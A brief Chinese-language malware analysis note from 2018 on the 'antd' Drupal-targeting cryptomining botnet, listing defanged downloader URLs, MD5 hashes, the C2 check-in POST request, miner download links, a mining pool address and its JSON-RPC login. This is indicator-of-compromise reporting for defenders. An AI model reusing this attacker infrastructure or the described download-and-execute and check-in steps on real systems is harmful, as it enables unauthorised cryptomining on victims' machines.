18 September 2018 / botnet

antd miner

ups.sh

downloader: hxxp://164.132.159.56/drupal/ups.sh
md5: 3dc00f7c2745bd791d7c7a7cfd9bea24
检查进程antd是否存在，如果antd存在，退出脚本运行
杀死command以'./'开头的所有进程
杀死perl进程
杀死名为6f47*的进程
下载hxxp://164.132.159.56/drupal/2/prcsv，命名为antd，并执行

antd

downloader: hxxp://164.132.159.56/drupal/2/prcsv
md5: a3420cd460e4188d281466dbbd4c36df
上报设备信息：

POST /drupal/__dp.php HTTP/1.0
Host: 164.132.159.56
Content-Type: application/x-www-form-urlencoded
Content-length: 38

cf=1&h=debian-amd64&c=1

下载矿机挖矿：

md5=a1ebf0dabd050dcaf2852dc4c603c201	uri=hxxp://80.240.26.52:80/d/srd 
md5=69f7f14d572aea08991ce5f912a260be	uri=hxxp://80.240.26.52:80/d/lmmml
md5=5837ba0c00af258f948068c5335d64eb	uri=hxxp://80.240.26.52:80/d/vlb

挖矿配置

矿池： 95.179.153.229:80
登录信息：
{"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"x","pass":"x","agent":"apt-get","algo":["cn/1","cn/0","cn/xtl","cn/msr","cn"]}}

—

antd miner